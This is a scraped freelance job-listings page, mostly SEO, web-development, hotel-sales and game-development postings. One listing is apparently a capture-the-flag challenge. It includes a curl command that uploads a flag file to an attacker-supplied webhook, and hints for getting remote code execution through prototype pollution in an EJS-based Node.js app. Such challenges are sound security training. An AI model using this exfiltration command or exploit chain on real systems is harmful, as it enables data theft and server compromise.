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    2,000 seo engine hotel jobs found, pricing in NZD

    I'm looking to enhance our website's SEO strategy to drive more organic traffic, improve search engine rankings, and boost our online visibility. Key Points: - The current performance of our website is average, and we're keen on elevating it to a higher standard. - The primary focus is on Google, so expertise in optimizing for this search engine is crucial. Ideal Skills and Experience: - Proven track record in improving search engine rankings, ideally with a focus on Google. - Extensive experience in implementing successful SEO strategies that significantly increase organic website traffic. - A strong understanding of how to enhance online visibility. - Excellent communication skills to explain the strategies and their benefits to our te...

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    SEO for 06 listing off page optimization

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    I want to use brilliant directory website for my directory website. I need someone experienced on local seo and brilliant directory software. Website must be complete ready after your work. You must customize website theme.

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    We are looking for a programmer to create the search engine for our magento 2.4.6 with Proto Theme website using Algolia search. The programmer has to implement the algolia search engine using his own code following the guidelines published by Aloglia to use it in the main page and in the search results page. It must include the following Filtering by attributes ( brands, specific attributes, color, etc) Keyword filtering Filtering by categories The search results should be displayed in a js block on the home page and in the search results. The theme used in magento 2.4.3 is "Fatest by codazon". Please only serious people, we don't want people who spend half as much time searching as doing the work on stackoverflow. Some examples of how we would like t...

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    I am in need of a talented SEO specialist to boost the online visibility of my performance car parts website. The ideal candidate should have a strong understanding of SEO principles. Key project requirements include: - On-page optimization: Enhance website content, meta descriptions, and optimize keywords related to performance car parts, mustang parts, sti parts, wrx parts, srt parts, and cherokee parts. - Off-page optimization: Implement strategies to improve the website's backlink profile and enhance its credibility in the automotive niche. - Technical SEO: Perform a comprehensive technical audit to identify and resolve any issues that might be hindering the website's performance on search engines. Target Audience: - The website caters to a diverse audi...

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    ...website designer and technical SEO specialist. The purpose of the website is to provide information about this new business. It should be beautifully designed, user-friendly, and effectively present our business details, mission, and services. As for the SEO, emphasis is on technical aspects. Your job would entail ensuring the structure of our site is search-engine friendly and meets all backend requirements for optimal ranking. Ideal skills and experience: - Expert in website design, preferably with portfolio of business sites - Proficient in Technical SEO with a good understanding of backend website requirements for optimal search engine ranking Your proposal should include a brief outline of your design approach and your experience in...

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    I'm in need of a sales consultant with professional experience in the hotel industry in India. Your main focus will be on customer acquisition. Key Responsibilities: - Devise strategies to attract hotels as our customers - Understand the unique selling propositions of our products - Build rapport and long-term relationships with hotel clients - Develop a strong understanding of the hotel industry's needs and demands - Provide innovative and result-driven sales strategies Ideal Skills and Experience: - Proven track record in sales within the hotel industry, particularly with targeting hotels in India - Strong understanding of customer acquisition in the hotel business - Well-versed in the mechanics of the hotel industry on a sales leve...

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    I'm in need of an experienced SEO and Social Media Marketing expert to enhance my WooCommerce store and grow my business. Key Responsibilities: - Simplify website navigation - Improve homepage layout, product page layout, and the checkout process - Enhance product page information and description - Implement SEO optimization strategies - Improve product descriptions and add more images The ideal candidate should have: - Proven experience optimizing WooCommerce stores - Proficiency in design and navigation enhancement - A track record of successful SEO optimization - Knowledge of effective social media marketing tactics - Strong communication skills and a proactive approach to problem-solving Ultimately, I am looking for someone who can increase traffic to my...

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    ...experienced Local SEO Specialist to help with three of my projects. These include a Dentist, a Vet clinic, and an NGO. Your main tasks would be local keyword research, improving the local keywords ranking, and generating more appointment bookings, traffic to the locations, or website traffic. Key Responsibilities: - Conduct thorough local keyword research for all three projects. - Calls and traffic should start growing from first month. - Building backlinks every month. - Improve local keywords ranking for the Dentist and Vet clinic - Increase appointment bookings calls for the Dentist and Vet clinic - Increase website traffic for the NGO - Develop and execute strategies to meet the project goals - Regularly monitor and report on the progress of each project - Stay up-to-date ...

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    I'm looking to enhance the SEO of my existing business website. My main focus is to increase the website traffic. Key Points: - I need a professional who can identify and implement strategies to boost my website's visibility and attract more visitors. - I'm particularly interested in on-page and technical SEO services such as keyword optimization and site speed optimization. - The goal is to positively impact the website's search engine rankings and subsequently increase organic traffic. Ideal Skills and Experience: - Proven track record in SEO for existing businesses, particularly in increasing website traffic. - Expertise in on-page SEO, including keyword optimization and content quality improvement. - Proficiency in technical ...

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    IT Solutions 6 days left

    ...business goals. User Experience: Design intuitive, user-friendly interfaces that provide an excellent user experience. Responsive Design: Ensure websites are fully responsive and optimized for various devices and screen sizes. Content Integration: Collaborate with our content team to integrate text, images, videos, and other media into the website seamlessly. SEO Optimization: Implement SEO best practices to improve search engine rankings and drive organic traffic. Testing and Maintenance: Conduct regular testing to identify and fix any issues, ensuring the website remains up-to-date and functional. Collaboration: Work closely with the marketing team, developers, and other stakeholders to understand project requirements and deliver high-quality results. Trend Moni...

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    I'm seeking an SEO specialist to enhance the visibility and traffic of my website. This project specifically focuses on improving our local presence to attract more targeted local customers. Key Project Details: - Objectives: I aim to increase website traffic and boost online visibility locally. - Target Audience: Our primary focus is local customers. Your work should ensure that we're reaching and engaging with potential customers within our region. Specifics of the Project: - Content Focus: The main area of our site that needs optimization is our product pages. You should be able to perform on-page and off-page SEO specifically for these pages. Ideal Freelancer: - Proficient in Local SEO: Experience with local SEO strategies, and proven track re...

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    The website is Stuck in search in terms of the number of visits. Please do not offer a set of links as I am not looking for backlinks, but rather seeking a real strategy for significant improvement. The website targets the UAE in both Arabic and English languages." We have updated all on-page factors and I have created guest posts on very high authority sites, but without improvement. Send me similar samples with results (only In the last few months) Quote should guarantee the achieving the results.

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    Hi BEST SEO 4 RANKING, I noticed your profile and would like to offer you my project. We can discuss any details over chat.

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    ...send / to your webhook. curl -F flag=@/ {webhook} To connect to the challenge go to hint 1: You can pollute NodeJS applications, Alex did a talk about it and the slides are available to read at where the important slides for this challenge are 17-53. hint2: The web application is using the EJS template engine for rendering templates. Alex talked about a Prototype Pollution gadget that could be exploited to get RCE when EJS renders a template, you should check the link to an article and read the last bit. https://docs.google.com/presentation/d/1Ae38Nv6mUntog3AIcI9m_IuBfoxBWoEsw7njI2x8EX0/edit#slide=id.g22e32f4d19a_0_16 hint3: The format of the payload is slightly different to the payload in the referenced

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    I am seeking an experienced SEO specialist to boost the online visibility of my brand within local search results. Here are my key requirements for this project: - Optimize my website specifically for my brand-related keywords, to ensure that our local customers find us easily when they look for our brand online. - The main goal is to get the visitors to contact us for more information about our offerings, once they land on our website from the search engines. Experience with local SEO, especially for brand-specific campaigns, will be highly regarded.

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    We are developing a dropshipping website using WordPress, specifically focusing on the Beauty niche. The site will be connected to the BigBuy API for seamless product integration. To achieve rapid SEO positioning, we will utilize ChatGPT to automatically generate enriched product descriptions, including tips and benefits for each product. These enhanced descriptions will be used on product pages and automatically generate blog posts that include additional brand information for improved SEO. In the 2 attached files you can see the technical specifications and an outline of the programing already executed on our side and validated by GPT Chat code correction tools. Furthermore, we plan to create short videos explaining the product advantages and tips, which will be uploaded ...

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    I am in search of a skilled Photoshop expert for a project involving photo editing of 35 images of my hotel real estate. These images are intended for optimizing my Airbnb listings. Images - Key Editing Requirements: - Removing background: Ensuring that the focus is solely on the property by removing any unnecessary elements. - Enhancing colors and lighting: Making the images visually appealing through color adjustments and lighting enhancements. - Image Sharpening: Emphasizing on the sharpness and details of the images. - Lens correction: Correcting any lens-related distortions to ensure the pictures are accurate. - Image Resizing and Formatting: Preparing the edited photos in the appropriate dimensions

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    As an iGaming startup within the mystery box space, I'm looking for a marketing agency that can help me reach a diverse audience and make my brand grow. I need expertise in SEO, social media marketing, influencer outreach, potentially PPC ads and the execution of weekly prize giveaways. Key requirements for this project include: - **SEO**: The selected agency should be skilled in optimizing my website and content to improve search engine rankings, drive organic traffic, and increase brand visibility. - **Social Media Marketing**: I need to build a strong presence on various platforms, including Instagram and YouTube. The agency should create engaging content, manage posts, and help me interact with users. - **Influencer Outreach**: The agency will be responsible ...

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    ...various screen sizes. - Genre Expertise: Proficiency in adventure game development is crucial. Previous experience in creating adventure games for mobile platforms is highly desirable. - No Multiplayer: The game is intended to be a single-player experience. There's no need for online or local multiplayer functionality. Ideal Skills: - Proficient in Unity: Knowledge and experience with the Unity game engine to create engaging and smooth gameplay. - Strong Game Design Fundamentals: Ability to design engaging game levels and narratives to ensure an immersive adventure experience. - Mobile Optimization: Skills in optimizing games for mobile platforms in terms of performance and user experience. If you have a creative mindset, experience in mobile game development, and a passio...

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    As an SEO optimization specialist, I'm looking for an expert to focus on improving the home page of my website. The main goal of this project is to increase website traffic and enhance user experience. Key Focus Areas: - **Increasing Website Traffic**: I'm seeking a professional who can analyze and adjust my current SEO strategy to ensure more site visitors. This includes understanding current market trends and creating a plan to attract more individuals and businesses to the site. - **Enhancing User Experience**: I believe that a good user experience is vital for both individuals and businesses visiting my website. The SEO specialist will need to look at the current user journey, identifying any potential pain points, and coming up with solutions to make ...

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    I'm seeking a seasoned SEO expert to conduct a detailed audit of my website, with a focus on both on-page optimization and technical SEO aspects. Key Areas of Focus: - On-Page Optimization: Analyzing the current content, meta tags, and URL structure to enhance keyword targeting and improve search engine ranking. - Technical SEO: Reviewing technical aspects such as website speed, mobile-friendliness, and site architecture for optimization. - Backlink Analysis: Identifying and assessing the quality of existing backlinks and providing recommendations for improving backlink profile. Prioritized Pages: - Homepage: A thorough evaluation to ensure it's optimized for key search terms and user experience. - Product Pages: Individual assessment of these pages...

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    I am searching for a freelancer to enhance my local search rankings by creating and ma...citations on Google My Business to reach the top 3 positions with guaranteed results. If you cannot provide a guarantee, please do not apply for this job. Key Responsibilities: - Create high-quality Google Map Citations for my business - Ensure all information is up-to-date and accurate - Regularly monitor and update the citations to maintain their effectiveness Ideal Candidate: - Experience in local SEO and Google My Business - Proven track record in improving local search rankings through map citations - Detail-oriented and a stickler for accuracy - Capable of managing and updating the citations on an ongoing basis - Strong communication skills for reporting and discussing the progress of th...

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    I'm in need of a seasoned Mechanical Engineer with specific expertise in heat transfer, fluid dynamics, and thermodynamic cycle analysis to assist in the development of a revolutionary solar thermal engine patent prototype. Key Requirements: - Conducting in-depth thermodynamic cycle analysis for the solar thermal engine. - Designing the engine layout and key components to optimize its performance. - Understanding and managing the behaviors of steam vapor and condensate. - Proficiency in analyzing fluid flow, power, and pressure drop. - Knowledge of steam hammer and heat pipe behavior for this application. - Experience with developing engines within the 1-5 kW power output range is essential. Ideal Skills: - Proficiency in CAD software, such as SolidWo...

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    I'm currently seeking a professional who excels in SEO and Facebook advertising. The scope of the project is primarily to increase our website traffic, improve our search engine rankings, and boost our brand's awareness. The focus of this campaign will be directed towards local customers within the healthcare industry. Skills & Experience Required: -Proficient with SEO tools & techniques -Experience with Facebook ad campaigns -Understanding of the healthcare industry -Experience in targeting local markets -Strategy development and execution for increasing brand awareness -Familiar with performance tracking and analytics.

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    ...professional to develop an Google Map API of my hotel. This API based project should include some distinctive customised data, such as: * Hotel Amenities: Don't worry about detailing each amenity, this was left vague on purpose. * Nearby Attractions: Not only should you include their names but also a description, how far they are from the hotel, and their rating. * Room Rates: Standard and peak rates. * Pickup and Drop Facility: A briefing about it * Cab Requirements: I do have some specific needs when it comes to this, but you'll learn more about them later. * "Book Now” Button: Yes, I even need a button on the map. Your experience in Google Maps API, data customization, and interactive design will be invaluable for this project. Prior experi...

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    I'm in need of an experienced digital marketer who can create a high-quality TikTok video ad for my personal account. The primary aim of this video ad is to generate leads and bookings for my hotel apartment business. I specifically want this ad to target business travelers, so understanding their preferences and requirements is crucial. Key Requirements: - The style of the video ad should be informative and straightforward. It should clearly and concisely communicate the benefits and unique selling points of my hotel apartment. - The video ad should be engaging and relevant to the target audience. The ideal candidate should have a good understanding of the preferences, interests, and behavior of business travelers. - Prior experience creating successful TikTok video a...

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    As Discussed for the next month of SEO to increase search engine rankings

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    PC Action Game Development 6 days left
    VERIFIED

    ...action-packed game tailored for an adult audience and specifically designed for the PC platform. I'm looking for a freelancer or team with the right expertise to bring my vision to life. **Project Overview:** - Develop a high-quality action game for PC. - Target audience: Adults. - Game genre: Action. **Skills and Experience Needed:** - Proficiency in game development engines (e.g., Unity, Unreal Engine). - Experience in developing PC games. - Strong understanding of game mechanics suited for adult audiences. - Ability to work with graphic designers and sound engineers for game assets. - Knowledge of integrating user feedback for game improvements. **Requirements:** - Portfolio of previous games developed, especially in the action genre. - Good communication skills to col...

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    ...seeking a sales consultant with expertise in the hotel industry to generate leads and drive sales, primarily from hotel owners. Key Objectives: - Lead Generation: The main goal of this project is to identify and attract potential customers specifically from the hotel industry. Your prior experience in sales in this sector is essential in understanding the nuances of this market and effectively generating leads. - Lead Conversion: While generating leads is important, converting them into actual sales is equally crucial. You should be proficient in sales techniques and understand the hotel industry well enough to effectively convert leads into customers. Ideal Candidate: - Prior Experience: A strong background in sales, particularly in the hotel indust...

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    ...businesses stand out on YouTube. We're currently on the lookout for a YouTube SEO specialist to boost the visibility and ranking of our high-quality content on the platform. Key Responsibilities: - Implement advanced SEO techniques to improve the ranking of our videos in search results. - Conduct comprehensive keyword research and optimize video content accordingly. - Enhance the appeal and engagement of our videos through creative thumbnail and title optimization. - Dive into analytics and user engagement data to constantly refine and improve our strategies. Ideal Candidate: - Proven experience in YouTube SEO, with a track record of improving video ranking and visibility. - In-depth knowledge of keyword research tools and SEO optimization techniques s...

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    On-page: Improve the header, mobile version, and add a footer. Create blogs similar to but we'll provide the keywords. In your bid, mention how many blogs can you provide with the bid price. 200 Do-follow High Quality backlinks from PR3-Pr4 Sites with at least DA 30+: A final report will be provided by you with links, website name, DA and PR valu... but we'll provide the keywords. In your bid, mention how many blogs can you provide with the bid price. 200 Do-follow High Quality backlinks from PR3-Pr4 Sites with at least DA 30+: A final report will be provided by you with links, website name, DA and PR values on a list. Error Free list Note: No backlink from social media sites, forum, comments, directory, listing, or SEO driven site.

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    I'm in need of SEO marketing for my adult live cams + chat website. The primary goal is to increase organic traffic, boost user engagement, and improve the search engine rankings. Key Requirements: - Increase Organic Traffic: A significant part of this job is to employ SEO strategies and practices to elevate the website's visibility across search engines - Improve Search Engine Rankings: A proven track record of improving search engine rankings for adult websites is highly preferred - Boost User Engagement: The SEO marketing strategy should aim at enhancing user engagement on the website - Acquire New Service Providers: The ability to attract new service providers is a critical aspect of the success of this project - Introducing New Se...

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    I'm seeking an experienced developer proficient in Node.js to create an online booking system for my hotel. Key Tasks: - Developing a booking system with easy-to-use interfaces for single rooms only. - Building an efficient room availability calendar. It is crucial for visitors to be able to easily check room availability and make immediate online reservations. Ideal Skills and Experiences: - Extensive experience in Node.js. Please provide proof of previous similar projects. - UI/UX design. The system should not only work efficiently but also be user-friendly and visually appealing. - Previous experience in building hotel reservation systems is a definite advantage. The goal is to streamline the process and increase my bookings. Please refer to the tasks and skil...

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    Hi, I'm Courtney Cunningham from Ride Candy. I'm looking for...Improvements**: I'm open to your suggestions on how to improve the user interface. This could involve optimizing the navigation menu, ensuring consistent branding elements throughout the website, and enhancing the overall visual design and aesthetics. - **SEO Optimization**: While I haven't provided specific requirements for SEO, any suggestions or implemented techniques that can improve search engine visibility would be highly appreciated. Ideal candidates for this project should have: - Proficient in web development, UX/UI design, and SEO optimization. - Experience in incorporating interactive elements (such as chatbots, maps, sliders) into websites. - Strong attention to deta...

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    I'm in need of an SEO expert who can assist me in improving the search engine rankings for my 2 e-commerce sites Zen-Cart based shopping carts (both sites are pretty similar, both hosted on the same server). Key Requirements: - The website primarily consists of product listings (shopping cart) hence familiarity with e-commerce SEO is essential. - The focus of our SEO efforts will be on improving the search engine rankings to attract more organic traffic. Fix Google indexing and make sure there are no error pages. Skills and Experience: - Proven track record of improving search engine rankings for e-commerce websites. - Strong understanding of SEO principles and best practices. - Proficiency in keyword research and optimization. - ...

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    I'm in need of a skilled SEO professional to help me improve my website's visibility and search engine rankings. Your main goals will be to increase organic traffic and ultimately increase leads/sales. Key Tasks: - Conduct an SEO audit to identify current gaps in the website's SEO - Implement on-page and off-page SEO strategies - Monitor and report on performance and any improvements Ideal Skills: - Proven experience in SEO optimization with tangible results - Knowledge of the latest SEO trends and best practices - Familiarity with tools like Google Analytics, SEMrush, and Moz - Great analytical skills to interpret data and adjust strategies accordingly Feel free to reach out if you have any questions or need more d...

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    ...of a skilled SEO expert who can help me boost the organic traffic and overall search engine rankings of my WordPress website. The primary aim is to reach and engage an international audience effectively. Key Tasks: - Implement Off-page SEO strategies: The ideal candidate will be well-versed in building high-quality and relevant backlinks to improve the site's credibility and visibility. - Technical SEO Optimization: A complete understanding of site structure, mobile optimization best practices is essential for this project. Content Writing: - Article writing and content creation: The freelancer should be able to write SEO optimized articles and content for my site. Ideal Candidate: - Proven experience in SEO for WordPress websites - Fa...

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    I am looking to put together a ...strategy for my online store, targeting both men and women. Key Requirements: - Deep understanding of social media marketing strategies and SEO techniques - Proven experience in lead generation and driving sales The campaign should focus predominantly on: - Social Media channels: to build a sustainable and interactive relationship with our customer base - SEO: to enhance our online presence and increase the visibility of our products The ultimate goal of this campaign is to generate leads and boost our sales, so we encourage freelancers who have a knack for conversion optimization to bid. Ideal Skills: - Social Media Marketing - Search Engine Optimization (SEO) - Conversion Optimization - Lead Generation - Experience with...

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    I'm looking for a skilled SEO specialist who can help me achieve a top 10 ranking on Google for specific keywords in the Middle Eastern region, primarily in Iran. The main goal is to increase traffic to my website. This project will be focused on keywords related to English learning and test preparation; such as IELTS, TOEFL, English speaking, quick conversation, easy conversation, learning English, fast English, and English speaking practice. Key Requirements: - Proven experience in SEO, particularly in the Middle Eastern region - Familiarity with the Iranian market and search engine habits - Expertise in optimizing websites for increased traffic - Previous success in improving rankings for educational and language learning websites The ideal candidate should ...

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    I'm in need of a professional website developer to assist me in the creation of a portfolio website. The website will serve as a showcase for my digital specialist skills and expertise. Key Sections: - Abou...milestones and achievements. - Skills and Expertise: A list of skills I possess, including my areas of expertise. - Education and Qualifications: Information on my educational background and any relevant qualifications. The ideal freelancer for this project should have experience in designing and developing portfolio websites. A strong understanding of user experience (UX) and search engine optimization (SEO) would be beneficial for ensuring the site attracts and retains visitors. The ability to communicate complex information in a simple and visually appealing ...

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    I'm looking for concise, keyword-rich product descriptions to be used on my website. Each description should be around 50-100 words and should be optimized for search engines. Ideal Skills: - Proficiency in writing short and meaningful content - SEO knowledge and the ability to incorporate keywords seamlessly - Familiarity with e-commerce and product descriptions

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    ...pages, are experiencing these technical glitches. I require an expert with proficiency in the following: - In-depth knowledge of WordPress SEO - Proficiency in handling technical SEO components, specifically noindex tags and canonical errors - Experience in indexing website pages Your task will be to: - Effectively remove the noindex tags from the specified pages - Accurately fix canonical errors on these pages Ive literally tried EVERYTHING and nothing will get my website indexed properly This job entails dealing with both components mentioned, namely removing the noindex tags and fixing canonical errors. Your comprehensive understanding of SEO, more particularly in WordPress, will be key to successfully completing this project. Your attention to detail and ...

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    ...site to the next level on Google and increase my brand's visibility on social media. - SEO: Primarily aimed at Google - Enhancing keyword strategy - On-page and off-page optimization - Regular monitoring and reporting - SMO: Focused on brand awareness - Creative and engaging social media content - Consistent posting schedule - Interaction with audience to build engagement Currently, I have a variety of content formats available for your use: blog posts and articles, images and infographics, as well as videos and animations. Your job will be to leverage these assets effectively to meet the SEO and SMO goals. The ideal candidate for this job should have: - Proven experience in successful SEO and SMO campaigns - Strong understanding of Google'...

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    I'm in need of a skilled SEO expert to help me figure out why some of my keywords aren't ranking as high as they should be on search engines. I also suspect that malicious backlinks might be affecting my site's performance. Your primary tasks for this project will include: - Keyword Analysis and Ranking: Understanding why certain keywords aren't performing as expected and suggesting strategies to improve their rankings. - Backlink Analysis: Identifying any potentially harmful backlinks and providing a comprehensive report on these links. It's important to note that I have previously done some SEO work on my website. To be the right fit for this project, you should have experience and expertise in the following areas: - SEO: Understanding o...

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    My primary focus is boosting product sales and traffic through Google Ads. Key requirements for this project are: - Strong skills in setting ...requirements for this project are: - Strong skills in setting up and managing Google Ads campaigns. I'm keen on hiring someone who can optimize these adverts to maximize sales. - Experience with On-page SEO is essential. I'm looking at improving the visibility and performance of my website through effective on-page SEO techniques. - Understanding of e-commerce businesses. My main objective is to increase product sales, so having a background in similar projects or e-commerce businesses will be beneficial. A freelancer with a proven track record in improving sales using Google Ads and strong On-page SEO skills wil...

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    On-page SEO - Tech Blog - Awesome Review - Strict Budget 300 INR

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    As I am wrapping up my mobile game, I'm in need of a skilled developer who can help me integrate CloudKit into my Unreal Engine 5 project. This is crucial for storing and managing user profiles, in-game transactions and stats. Key Requirements: - Proficiency in Unreal Engine 5: As the core of my project relies on this version, it's vital that you have experience with it. - Expertise in CloudKit: Strong understanding of Apple's CloudKit platform, including its setup and integration with iOS apps. - Mobile Game Development: Experience in mobile game development and a strong understanding of in-game data management. - Time Sensitivity: While there's no immediate deadline, I aim to complete this integration in the later half of this Summer. Your role will b...

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    New month SEO 9 days left

    New Month + weekly reporting - Thank you

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